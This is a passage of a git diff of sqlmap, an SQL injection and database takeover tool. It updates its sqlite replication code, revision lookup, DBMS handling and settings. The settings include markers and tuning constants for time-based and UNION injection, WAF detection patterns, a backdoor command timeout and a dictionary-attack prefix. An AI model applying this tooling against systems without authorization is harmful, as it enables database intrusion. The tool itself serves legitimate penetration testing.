self.connection.cursor() - - class DataType: + self.dbpath = dbpath + self.connection = sqlite3.connect(dbpath) + self.connection.isolation_level = None + self.cursor = self.connection.cursor() + except sqlite3.OperationalError as ex: + errMsg = "error occurred while opening a replication " + errMsg += "file '%s' ('%s')" % (dbpath, getSafeExString(ex)) + raise SqlmapConnectionException(errMsg) + + class DataType(object): """ Using this class we define auxiliary objects used for representing sqlite data types. @@ -43,7 +48,7 @@ def __str__(self): def __repr__(self): return "" % self - class Table: + class Table(object): """ This class defines methods used to manipulate table objects. """ @@ -53,11 +58,16 @@ def __init__(self, parent, name, columns=None, create=True, typeless=False): self.name = unsafeSQLIdentificatorNaming(name) self.columns = columns if create: - self.parent.cursor.execute('DROP TABLE IF EXISTS "%s"' % self.name) - if not typeless: - self.parent.cursor.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in self.columns))) - else: - self.parent.cursor.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns))) + try: + self.execute('DROP TABLE IF EXISTS "%s"' % self.name) + if not typeless: + self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in self.columns))) + else: + self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns))) + except Exception as ex: + errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex, UNICODE_ENCODING) + errMsg += "located at '%s'" % self.parent.dbpath + raise SqlmapGenericException(errMsg) def insert(self, values): """ @@ -65,29 +75,43 @@ def insert(self, values): """ if len(values) == len(self.columns): - self.parent.cursor.execute('INSERT INTO "%s" VALUES (%s)' % (self.name, ','.join(['?']*len(values))), safechardecode(values)) + self.execute('INSERT INTO "%s" VALUES (%s)' % (self.name, ','.join(['?'] * len(values))), safechardecode(values)) else: errMsg = "wrong number of columns used in replicating insert" - raise sqlmapValueException, errMsg + raise SqlmapValueException(errMsg) + + def execute(self, sql, parameters=None): + try: + try: + self.parent.cursor.execute(sql, parameters or []) + except UnicodeError: + self.parent.cursor.execute(sql, cleanReplaceUnicode(parameters or [])) + except sqlite3.OperationalError as ex: + errMsg = "problem occurred ('%s') while accessing sqlite database " % getSafeExString(ex, UNICODE_ENCODING) + errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath + errMsg += "it's not used by some other program" + raise SqlmapGenericException(errMsg) def beginTransaction(self): """ Great speed improvement can be gained by using explicit transactions around multiple inserts. Reference: http://stackoverflow.com/questions/4719836/python-and-sqlite3-adding-thousands-of-rows """ - self.parent.cursor.execute('BEGIN TRANSACTION') + self.execute('BEGIN TRANSACTION') def endTransaction(self): - self.parent.cursor.execute('END TRANSACTION') + self.execute('END TRANSACTION') def select(self, condition=None): """ This function is used for selecting row(s) from current table. """ - stmt = 'SELECT * FROM %s' % self.name + query = 'SELECT * FROM "%s"' % self.name if condition: - stmt += 'WHERE %s' % condition - return self.parent.cursor.execute(stmt) + query += ' WHERE %s' % condition + + self.execute(query) + return self.parent.cursor.fetchall() def createTable(self, tblname, columns=None, typeless=False): """ @@ -95,12 +119,6 @@ def createTable(self, tblname, columns=None, typeless=False): """ return Replication.Table(parent=self, name=tblname, columns=columns, typeless=typeless) - def dropTable(self, tblname): - """ - This function drops table with given name using current connection. - """ - self.cursor.execute('DROP TABLE IF EXISTS %s' % tblname) - def __del__(self): self.cursor.close() self.connection.close() diff --git a/lib/core/revision.py b/lib/core/revision.py index 8738e9e9e0f..e5e1a1e76f3 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -1,44 +1,62 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os import re +import subprocess -from subprocess import PIPE -from subprocess import Popen as execute +from lib.core.common import openFile +from lib.core.convert import getText def getRevisionNumber(): """ Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD" + + >>> len(getRevisionNumber() or (' ' * 7)) == 7 + True """ retVal = None filePath = None + directory = os.path.dirname(__file__) - _ = os.path.dirname(__file__) while True: - filePath = os.path.join(_, ".git/refs/heads/master").replace('/', os.path.sep) - if os.path.exists(filePath): + candidate = os.path.join(directory, ".git", "HEAD") + if os.path.exists(candidate): + filePath = candidate + break + + parent = os.path.dirname(directory) + if parent == directory: break - else: - filePath = None - if _ == os.path.dirname(_): - break - else: - _ = os.path.dirname(_) + directory = parent + if filePath: - with open(filePath, "r") as f: - match = re.match(r"(?i)[0-9a-f]{32}", f.read()) + with openFile(filePath, "r") as f: + content = getText(f.read()).strip() + + if content.startswith("ref: "): + ref_path = content.replace("ref: ", "").strip() + filePath = os.path.join(directory, ".git", ref_path) + + if os.path.exists(filePath): + with openFile(filePath, "r") as f_ref: + content = getText(f_ref.read()).strip() + + match = re.match(r"(?i)[0-9a-f]{40}", content) retVal = match.group(0) if match else None if not retVal: - process = execute("git rev-parse --verify HEAD", shell=True, stdout=PIPE, stderr=PIPE) - stdout, _ = process.communicate() - match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") - retVal = match.group(0) if match else None + try: + process = subprocess.Popen(["git", "rev-parse", "--verify", "HEAD"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + stdout, _ = process.communicate() + match = re.search(r"(?i)[0-9a-f]{40}", getText(stdout or "")) + retVal = match.group(0) if match else None + except: + pass return retVal[:7] if retVal else None diff --git a/lib/core/session.py b/lib/core/session.py index 09b4a6030bc..c26e4dc0951 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re @@ -10,18 +10,11 @@ from lib.core.common import Backend from lib.core.common import Format from lib.core.common import hashDBWrite -from lib.core.common import intersect -from lib.core.common import readInput -from lib.core.common import singleTimeWarnMessage -from lib.core.convert import base64pickle -from lib.core.convert import base64unpickle -from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import HASHDB_KEYS from lib.core.enums import OS from lib.core.settings import SUPPORTED_DBMS -from lib.core.settings import UNKNOWN_DBMS_VERSION def setDbms(dbms): """ @@ -32,13 +25,15 @@ def setDbms(dbms): hashDBWrite(HASHDB_KEYS.DBMS, dbms) - _ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS])) - _ = re.search("^%s" % _, dbms, re.I) + _ = "(%s)" % ('|'.join(SUPPORTED_DBMS)) + _ = re.search(r"\A%s( |\Z)" % _, dbms, re.I) if _: dbms = _.group(1) Backend.setDbms(dbms) + if kb.resolutionDbms: + hashDBWrite(HASHDB_KEYS.DBMS, kb.resolutionDbms) logger.info("the back-end DBMS is %s" % Backend.getDbms()) diff --git a/lib/core/settings.py b/lib/core/settings.py index b8fe7279222..871d32e36c3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -1,315 +1,443 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import logging +import codecs import os +import platform +import random import re -import subprocess import string import sys +import time -from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import DBMS from lib.core.enums import DBMS_DIRECTORY_NAME -from lib.core.revision import getRevisionNumber - -# sqlmap version and site -VERSION = "1.0-dev" -REVISION = getRevisionNumber() -VERSION_STRING = "sqlmap/%s%s" % (VERSION, "-%s" % REVISION if REVISION else "") +from lib.core.enums import OS +from thirdparty import six + +# sqlmap version (...) +VERSION = "1.10.1.85" +TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" +TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} +VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) DESCRIPTION = "automatic SQL injection and database takeover tool" -SITE = "http://sqlmap.org" +SITE = "https://sqlmap.org" +DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE) +DEV_EMAIL_ADDRESS = "dev@sqlmap.org" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" -ML = "sqlmap-users@lists.sourceforge.net" - -# minimum distance of ratio from kb.matchRatio to result in True +GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git" +GIT_PAGE = "https://github.com/sqlmapproject/sqlmap" +WIKI_PAGE = "https://github.com/sqlmapproject/sqlmap/wiki/" +ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master" + +# colorful banner +BANNER = """\033[01;33m\ + ___ + __H__ + ___ ___[.]_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m +|_ -| . [.] | .'| . | +|___|_ [.]_|_|_|__,| _| + |_|V... |_| \033[0m\033[4;37m%s\033[0m\n +""" % (TYPE_COLORS.get(TYPE, 31), VERSION_STRING.split('/')[-1], SITE) + +# Minimum distance of ratio from kb.matchRatio to result in True DIFF_TOLERANCE = 0.05 CONSTANT_RATIO = 0.9 -# lower and upper values for match ratio in case of stable page +# Ratio used in heuristic check for WAF/IPS protected targets +IPS_WAF_CHECK_RATIO = 0.5 + +# Timeout used in heuristic check for WAF/IPS protected targets +IPS_WAF_CHECK_TIMEOUT = 10 + +# Timeout used in checking for existence of live-cookies file +LIVE_COOKIES_TIMEOUT = 120 + +# Lower and upper values for match ratio in case of stable page LOWER_RATIO_BOUND = 0.02 UPPER_RATIO_BOUND = 0.98 -# sqlmap logger -logging.addLevelName(CUSTOM_LOGGING.PAYLOAD, "PAYLOAD") -logging.addLevelName(CUSTOM_LOGGING.TRAFFIC_OUT, "TRAFFIC OUT") -logging.addLevelName(CUSTOM_LOGGING.TRAFFIC_IN, "TRAFFIC IN") +# For filling in case of dumb push updates +DUMMY_JUNK = "theim1Ga" + +# Markers for special cases when parameter values contain html encoded characters +PARAMETER_AMP_MARKER = "__PARAMETER_AMP__" +PARAMETER_SEMICOLON_MARKER = "__PARAMETER_SEMICOLON__" +BOUNDARY_BACKSLASH_MARKER = "__BOUNDARY_BACKSLASH__" +PARAMETER_PERCENTAGE_MARKER = "__PARAMETER_PERCENTAGE__" +PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__" +PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__" +URI_QUESTION_MARKER = "__URI_QUESTION__" +ASTERISK_MARKER = "__ASTERISK__" +REPLACEMENT_MARKER = "__REPLACEMENT__" +BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64__" +BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION__" +SAFE_VARIABLE_MARKER = "__SAFE_VARIABLE__" +SAFE_HEX_MARKER = "__SAFE_HEX__" +DOLLAR_MARKER = "__DOLLAR__" + +RANDOM_INTEGER_MARKER = "[RANDINT]" +RANDOM_STRING_MARKER = "[RANDSTR]" +SLEEP_TIME_MARKER = "[SLEEPTIME]" +INFERENCE_MARKER = "[INFERENCE]" +SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]" +GENERIC_SQL_COMMENT_MARKER = "[GENERIC_SQL_COMMENT]" + +PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__" +CHAR_INFERENCE_MARK = "%c" +PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]" -LOGGER = logging.getLogger("sqlmapLog") -LOGGER_HANDLER = logging.StreamHandler(sys.stdout) -FORMATTER = logging.Formatter("\r[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S") +# Regular expression used for extraction of table names (useful for (e.g.) MsAccess) +SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P([\w.]|`[^`<>]+`)+)" -LOGGER_HANDLER.setFormatter(FORMATTER) -LOGGER.addHandler(LOGGER_HANDLER) -LOGGER.setLevel(logging.WARN) +# Regular expression used for recognition of textual content-type +TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)" -# markers for special cases when parameter values contain html encoded characters -PARAMETER_AMP_MARKER = "__AMP__" -PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__" +# Regular expression used for recognition of generic permission messages +PERMISSION_DENIED_REGEX = r"\b(?P(command|permission|access|user)\s*(was|is|has been)?\s*(denied|forbidden|unauthorized|rejected|not allowed))" -PARTIAL_VALUE_MARKER = "__PARTIAL__" +# Regular expression used in recognition of generic protection mechanisms +GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b" -URI_QUESTION_MARKER = "__QUESTION_MARK__" +# Regular expression used to detect errors in fuzz(y) UNION test +FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|mismatch|comparable|compatible|conversion|convert|failed|error|unexpected" -PAYLOAD_DELIMITER = "\x00" -CHAR_INFERENCE_MARK = "%c" -PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7e-\xff]" +# Upper threshold for starting the fuzz(y) UNION test +FUZZ_UNION_MAX_COLUMNS = 10 + +# Regular expression used for recognition of generic maximum connection messages +MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection" + +# Maximum consecutive connection errors before asking the user if he wants to continue +MAX_CONSECUTIVE_CONNECTION_ERRORS = 15 + +# Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it) +PRECONNECT_CANDIDATE_TIMEOUT = 10 + +# Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support) +PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP", "BaseHTTP") + +# Identify WAF/IPS inside limited number of responses (Note: for optimization purposes) +IDENTYWAF_PARSE_LIMIT = 10 + +# Maximum sleep time in "Murphy" (testing) mode +MAX_MURPHY_SLEEP_TIME = 3 + +# Regular expression used for extracting results from Google search +GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)" + +# Google Search consent cookie +GOOGLE_CONSENT_COOKIE = "CONSENT=YES+shp.gws-%s-0-RC1.%s+FX+740" % (time.strftime("%Y%m%d"), "".join(random.sample(string.ascii_lowercase, 2))) + +# Regular expression used for extracting results from DuckDuckGo search +DUCKDUCKGO_REGEX = r'= 7) +# Coefficient used for a time-based query delay checking (must be >= 7) TIME_STDEV_COEFF = 7 -# standard deviation after which a warning message should be displayed about connection lags +# Minimum response time that can be even considered as delayed (not a complete requirement) +MIN_VALID_DELAYED_RESPONSE = 0.5 + +# Standard deviation after which a warning message should be displayed about connection lags WARN_TIME_STDEV = 0.5 -# minimum length of usable union injected response (quick defense against substr fields) +# Minimum length of usable union injected response (quick defense against substr fields) UNION_MIN_RESPONSE_CHARS = 10 -# coefficient used for a union-based number of columns checking (must be >= 7) +# Coefficient used for a union-based number of columns checking (must be >= 7) UNION_STDEV_COEFF = 7 -# length of queue for candidates for time delay adjustment +# Length of queue for candidates for time delay adjustment TIME_DELAY_CANDIDATES = 3 -# standard value for HTTP Accept header -HTTP_ACCEPT_HEADER_VALUE = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" +# Default value for HTTP Accept header +HTTP_ACCEPT_HEADER_VALUE = "*/*" + +# Default value for HTTP Accept-Encoding header +HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate" + +# Default timeout for running commands over backdoor +BACKDOOR_RUN_CMD_TIMEOUT = 5 -# HTTP timeout in silent mode -HTTP_SILENT_TIMEOUT = 3 +# Number of seconds to wait for thread finalization at program end +THREAD_FINALIZATION_TIMEOUT = 1 -# maximum number of techniques used in inject.py/getValue() per one value +# Maximum number of techniques used in inject.py/getValue() per one value MAX_TECHNIQUES_PER_VALUE = 2 -# suffix used for naming meta databases in DBMS(es) without explicit database name +# In case of missing piece of partial union dump, buffered array must be flushed after certain size +MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 + +# Maximum size of cache used in @cachedmethod decorator +MAX_CACHE_ITEMS = 1024 + +# Suffix used for naming meta databases in DBMS(es) without explicit database name METADB_SUFFIX = "_masterdb" -# minimum time response set needed for time-comparison based on standard deviation -MIN_TIME_RESPONSES = 10 +# Number of times to retry the pushValue during the exceptions (e.g. KeyboardInterrupt) +PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3 + +# Minimum time response set needed for time-comparison based on standard deviation +MIN_TIME_RESPONSES = 30 + +# Maximum time response set used during time-comparison based on standard deviation +MAX_TIME_RESPONSES = 200 -# minimum comparison ratio set needed for searching valid union column number based on standard deviation +# Minimum comparison ratio set needed for searching valid union column number based on standard deviation MIN_UNION_RESPONSES = 5 -# after these number of blanks at the end inference should stop (just in case) -INFERENCE_BLANK_BREAK = 10 +# After these number of blanks at the end inference should stop (just in case) +INFERENCE_BLANK_BREAK = 5 -# use this replacement character for cases when inference is not able to retrieve the proper character value +# Use this replacement character for cases when inference is not able to retrieve the proper character value INFERENCE_UNKNOWN_CHAR = '?' -# character used for operation "greater" in inference +# Character used for operation "greater" in inference INFERENCE_GREATER_CHAR = ">" -# character used for operation "equals" in inference +# Character used for operation "greater or equal" in inference +INFERENCE_GREATER_EQUALS_CHAR = ">=" + +# Character used for operation "equals" in inference INFERENCE_EQUALS_CHAR = "=" -# character used for operation "not-equals" in inference +# Character used for operation "not-equals" in inference INFERENCE_NOT_EQUALS_CHAR = "!=" -# string used for representation of unknown dbms version -UNKNOWN_DBMS_VERSION = "Unknown" +# String used for representation of unknown DBMS +UNKNOWN_DBMS = "Unknown" -# dynamicity mark length used in dynamicity removal engine -DYNAMICITY_MARK_LENGTH = 32 +# String used for representation of unknown DBMS version +UNKNOWN_DBMS_VERSION = "Unknown" -# length of FIFO buffer for removing possible duplicates in union/inband data retrieval -UNION_UNIQUE_FIFO_LENGTH = 10 +# Dynamicity boundary length used in dynamicity removal engine +DYNAMICITY_BOUNDARY_LENGTH = 20 -# dummy user prefix used in dictionary attack +# Dummy user prefix used in dictionary attack DUMMY_USER_PREFIX = "__dummy__" # Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1 DEFAULT_PAGE_ENCODING = "iso-8859-1" -# System variables -IS_WIN = subprocess.mswindows -# The name of the operating system dependent module imported. The following -# names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', -# 'java', 'riscos' +try: + codecs.lookup(DEFAULT_PAGE_ENCODING) +except LookupError: + DEFAULT_PAGE_ENCODING = "utf8" + +# Marker for program piped input +STDIN_PIPE_DASH = '-' + +# URL used in dummy runs +DUMMY_URL = "http://foo/bar?id=1" + +# Timeout used during initial websocket (pull) testing +WEBSOCKET_INITIAL_TIMEOUT = 3 + +# The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos' PLATFORM = os.name PYVERSION = sys.version.split()[0] - -# Database management system specific variables -MSSQL_SYSTEM_DBS = ( "Northwind", "master", "model", "msdb", "pubs", "tempdb" ) -MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql" -PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog", "pg_toast" ) -ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX", "SYS" ) # These are TABLESPACE_NAME -SQLITE_SYSTEM_DBS = ( "sqlite_master", "sqlite_temp_master" ) -ACCESS_SYSTEM_DBS = ( "MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage",\ - "MSysAccessXML", "MSysModules", "MSysModules2" ) -FIREBIRD_SYSTEM_DBS = ( "RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE",\ - "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS",\ - "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES",\ - "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS",\ - "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS",\ - "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS" ) -MAXDB_SYSTEM_DBS = ( "SYSINFO", "DOMAIN" ) -SYBASE_SYSTEM_DBS = ( "master", "model", "sybsystemdb", "sybsystemprocs" ) -DB2_SYSTEM_DBS = ( "NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS",\ - "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS" ) - -MSSQL_ALIASES = ( "microsoft sql server", "mssqlserver", "mssql", "ms" ) -MYSQL_ALIASES = ( "mysql", "my" ) -PGSQL_ALIASES = ( "postgresql", "postgres", "pgsql", "psql", "pg" ) -ORACLE_ALIASES = ( "oracle", "orcl", "ora", "or" ) -SQLITE_ALIASES = ( "sqlite", "sqlite3" ) -ACCESS_ALIASES = ( "msaccess", "access", "jet", "microsoft access" ) -FIREBIRD_ALIASES = ( "firebird", "mozilla firebird", "interbase", "ibase", "fb" ) -MAXDB_ALIASES = ( "maxdb", "sap maxdb", "sap db" ) -SYBASE_ALIASES = ( "sybase", "sybase sql server" ) -DB2_ALIASES = ( "db2", "ibm db2", "ibmdb2" ) +IS_WIN = PLATFORM == "nt" +IS_PYPY = platform.python_implementation() == "PyPy" + +# Check if running in terminal +IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno()) + +# DBMS system databases +MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB", "distribution", "mssqlsystemresource") +MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys", "ndbinfo") +PGSQL_SYSTEM_DBS = ("postgres", "template0", "template1", "information_schema", "pg_catalog", "pg_toast", "pgagent") +ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL") +SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") +ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2", "MSysNavPaneGroupCategories", "MSysNavPaneGroups", "MSysNavPaneGroupToObjects", "MSysNavPaneObjectIDs") +FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") +MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN") +SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs", "tempdb") +DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS", "SYSDEBUG", "SYSINST") +HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") +H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache") +INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") +MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") +DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT") +VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",) +MCKOI_SYSTEM_DBS = ("",) +PRESTO_SYSTEM_DBS = ("information_schema",) +ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) +MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",) +CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys") +CLICKHOUSE_SYSTEM_DBS = ("information_schema", "INFORMATION_SCHEMA", "system") +CUBRID_SYSTEM_DBS = ("DBA",) +CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS") +EXTREMEDB_SYSTEM_DBS = ("",) +FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA") +RAIMA_SYSTEM_DBS = ("",) +VIRTUOSO_SYSTEM_DBS = ("",) +SNOWFLAKE_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + +# Note: () + () +MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") +MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle", "doris", "starrocks") +PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss") +ORACLE_ALIASES = ("oracle", "orcl", "ora", "or", "dm8") +SQLITE_ALIASES = ("sqlite", "sqlite3") +ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet") +FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb") +MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db") +SYBASE_ALIASES = ("sybase", "sybase sql server") +DB2_ALIASES = ("db2", "ibm db2", "ibmdb2") +HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql") +H2_ALIASES = ("h2",) + ("ignite", "apache ignite") +INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix") +MONETDB_ALIASES = ("monet", "monetdb",) +DERBY_ALIASES = ("derby", "apache derby",) +VERTICA_ALIASES = ("vertica",) +MCKOI_ALIASES = ("mckoi",) +PRESTO_ALIASES = ("presto",) +ALTIBASE_ALIASES = ("altibase",) +MIMERSQL_ALIASES = ("mimersql", "mimer") +CRATEDB_ALIASES = ("cratedb", "crate") +CUBRID_ALIASES = ("cubrid",) +CLICKHOUSE_ALIASES = ("clickhouse",) +CACHE_ALIASES = ("intersystems cache", "cachedb", "cache", "iris") +EXTREMEDB_ALIASES = ("extremedb", "extreme") +FRONTBASE_ALIASES = ("frontbase",) +RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis") +VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso") +SNOWFLAKE_ALIASES = ("snowflake",) DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES -SUPPORTED_OS = ( "linux", "windows" ) - -DBMS_DICT = { DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", 